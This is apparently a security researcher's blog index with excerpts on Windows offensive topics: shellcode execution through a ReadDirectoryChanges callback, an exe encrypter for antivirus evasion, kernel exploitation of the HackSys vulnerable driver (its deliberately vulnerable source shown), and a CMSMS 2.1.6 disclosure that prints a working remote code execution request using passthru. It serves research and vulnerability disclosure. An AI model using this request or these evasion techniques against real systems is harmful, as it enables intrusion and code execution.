RtlRegisterWait is an undocumented Windows API that registers a callback function to be executed by a system managed thread pool when a specified object handle becomes signalled.
(more…)
Uncategorized
Executing Shellcode with ReadDirectoryChanges’s Hidden Callback
While digging into the ReadDirectoryChanges API, I noticed it supports an asynchronous callback via LPOVERLAPPED_COMPLETION_ROUTINE. Most people use this API to monitor file system changes, but what if we could hijack that callback to execute shellcode? This led me to develop a proof-of-concept (PoC) that turns a mundane filesystem monitoring function into a stealthy shellcode execution vector.
The API is documented as follows by Microsoft.
|
1 2 3 4 5 6 7 8 9 10 |
BOOL ReadDirectoryChangesW( [in] HANDLE hDirectory, [out] LPVOID lpBuffer, [in] DWORD nBufferLength, [in] BOOL bWatchSubtree, [in] DWORD dwNotifyFilter, [out, optional] LPDWORD lpBytesReturned, [in, out, optional] LPOVERLAPPED lpOverlapped, [in, optional] LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ); |
eCPTX Passed !
First of all, a huge thank you to eLearnSecurity for gifting me this great course last year. I am happy to say that I passed eCPTX in my first attempt. I think companies must look for this certificate when hiring for pentesters in the future. Because in the real world most of the time I pentest Windows environments, so this exam perfectly fits into the day to day job I do. The attacks were the same I had to perform in the real world.
As always their material was well documented. I’ve learned so much of new things I never knew before. There were so much of things to research.
I had no issues with the lab, but however, I do not like the fact that we have to press OK to extend the lab or else the lab will disconnect. Due to this, sometimes I had to start over again when the shells died. Apart from that, I would like to mention that it’s better to have some more labs for the material to practice with a good Active Directory environment.
This is the best exam I’ve done in pentesting, a really awesome challenge in 2 days. I started my journey with eLearnSecurity when I was 18 and now I’m 22 and within these few years I’ve learned a lot and helped me become good at what I do 🙂
For the guys who are going to take this exam you really need to focus on the following areas.
- Advanced penetration testing processes and methodologies
- Advanced Exploitation using Metasploit and Empire
- Network/traffic manipulation
- Pivoting
- Advanced Lateral Movement (WMI, PS Remoting, DCOM, etc.)
- Advanced Active Directory Information Gathering, Enumeration and Reconnaissance
- Custom Attack Vector Development
- Active Directory and Windows internals
- Knowledge of Windows authentication weaknesses
- Web application Manual exploitation
- Stealthy Scanning and Profiling the target
- Advanced Persistence / Backdooring
- Privilege escalation
PE Sec Info – A Simple Tool to Manipulate ASLR and DEP Flags
Recently I was interested in exploring the PE headers and writing simple programs to manipulate different headers. There are thousands of applications and code to be found on this topic. I started by exploring this Windows structure called “LOADED_IMAGE”.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
typedef struct _LOADED_IMAGE { PSTR ModuleName; HANDLE hFile; PUCHAR MappedAddress; #if ... PIMAGE_NT_HEADERS64 FileHeader; #else PIMAGE_NT_HEADERS32 FileHeader; #endif PIMAGE_SECTION_HEADER LastRvaSection; ULONG NumberOfSections; PIMAGE_SECTION_HEADER Sections; ULONG Characteristics; BOOLEAN fSystemImage; BOOLEAN fDOSImage; BOOLEAN fReadOnly; UCHAR Version; LIST_ENTRY Links; ULONG SizeOfImage; } LOADED_IMAGE, *PLOADED_IMAGE; |
https://docs.microsoft.com/en-us/windows/desktop/api/dbghelp/ns-dbghelp-_loaded_image
I fired up WinDBG and had a close a look how these look like with mapped memory addresses.
Exploiting Format Strings in Windows
I thought of making a small challenge in exploiting format strings in Windows. This is how it looks, it asks for a filename to open. At first this might be a bit confusing. There’s no vulnerable functions in reading a file. You can see that our first argument to the program is echoed back in the program.
Let’s investigate this inside a debugger. As you can see if argc == 2 the application continues the flow and argv[1] is passed into that function highlighted.
Detecting Architecture in Windows
After a while I thought of posting something interesting I noticed. Some of you know this old method of detecting the architecture using the CS segment register. This was also used in the Kronos malware
[code language=”C”]
xor eax,eax
mov ax,cs
shr eax,5
[/code]
I had a look at the segment registers last night and I found out that we can use ES, GS and FS segment registers for detecting the architecture as well.
Using ES
[code language=”C”]
; Author : @OsandaMalith
main:
xor eax,eax
mov ax,es
ror ax, 0x3
and eax,0x1
test eax, eax
je thirtytwo
invoke MessageBox,0, ‘You are Running 64-bit’, ‘Architecture’, MB_OK + MB_ICONINFORMATION
jmp exit
thirtytwo:
invoke MessageBox,0, ‘You are Running 32-bit’, ‘Architecture’, MB_OK + MB_ICONINFORMATION
exit:
invoke ExitProcess, 0
[/code]
(more…)
A Basic RSA Encrypter
This is a small post about implementing a basic RSA encrypter to encrypt sections in an exe. We can use this to exchange exes with people. We will encrypt the section using the public key and the user has to use his private key to decrypt the exe. This can be applied in evading anti-viruses too.
I will use multiplication instead of an exponent. Since it would be easy to implement in few lines in assembly. However, this will allow breaking the private key easily hence the complete scheme is broken.
[latexpage]Enc = (m*e) \text{ mod } N&bg=FFFFFF&s=1[/latexpage]
\(Dec = (c*d) \text{ mod } N\)
The correctness of this scheme depends on the fact that
\(Dec(Enc(m)) = (m*e*d) \text{ mod } N = m \text{ mod } N\)
Windows Kernel Exploitation – Null Pointer Dereference
Today I’m sharing on exploiting the null pointer dereference vulnerability present in the HackSysExtreme Vulnerable Driver.
The Vulnerability
You can view the source from here.
[code language=”C” highlight=”42,58,73″]
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));
// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);
if (!NullPointerDereference) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
// Validate the magic value
if (UserValue == MagicValue) {
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else {
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}
#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// ‘NullPointerDereference’ is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if ‘NullPointerDereference’ is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
[/code]
As usual, everything is clearly explained in the source. At line 42 the ‘userValue’ is compared with the value ‘0xBAD0B0B0’ and if it fails at line 58 the ‘NullPointerDereference’ value is set to NULL and at line 73 the value ‘NullPointerDereference’ is not validated whether it’s NULL before calling the callback function.
Let’s disassemble and see it closely. As you can see, if the provided ‘MagicValue’ is wrong the value of ‘NullPointerDereference’ is set to NULL to avoid the dangling pointer.
(more…)
Windows Kernel Exploitation – Arbitrary Overwrite
Today I’m sharing what I learned on developing an exploit for the arbitrary overwrite vulnerability present in the HackSysExtreme Vulnerable Driver. This is also known as the “write-what-where” vulnerability. You can refer to my previous post on exploiting the stack overflow vulnerability and the analysis of the shellcode.
The Vulnerability
You can check the source from here
[code language=”C” highlight=”37″]
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
PULONG What = NULL;
PULONG Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserWriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
(ULONG)__alignof(WRITE_WHAT_WHERE));
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by ‘Where’ and ‘What’ value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
ProbeForRead((PVOID)What, sizeof(PULONG), (ULONG)__alignof(PULONG));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by ‘What’ to memory location
// pointed by ‘Where’ without properly validating if the values pointed by ‘Where’
// and ‘What’ resides in User mode
*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
[/code]
Everything is well explained in the source code. Basically the ‘where’ and ‘what’ pointers are not validated whether they are located in userland. Due to this we can overwrite an arbitrary kernel address with an arbitrary value.
(more…)
CMSMS 2.1.6 Multiple Vulnerabilities
One day I felt like reviewing the source code of some random CMS and I picked CMSMS. This is totally random and I did this to kill boredom.
Remote Code Execution – CVE-2017-8912
In admin/editusertag.php you can create custom user defined tags in which evil PHP functions are not blacklisted.
[code language=”text”]
POST /cms/cmsimple/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/cms/cmsimple/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4
Content-Length: 115
Cookie: cms_admin_user_id=1; cms_passhash=4df45e48ad5885afabe27e446666421b; _sk_=2a7da2216d41e0ac; CMSSESSIDacef9ab5f31b=mckpbvrmtj7n6ri53kiol718c5
Connection: close
Pragma: no-cache
Cache-Control: no-cache
_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru(‘dir’)%3B&description=&run=1&apply=1&ajax=1
[/code]





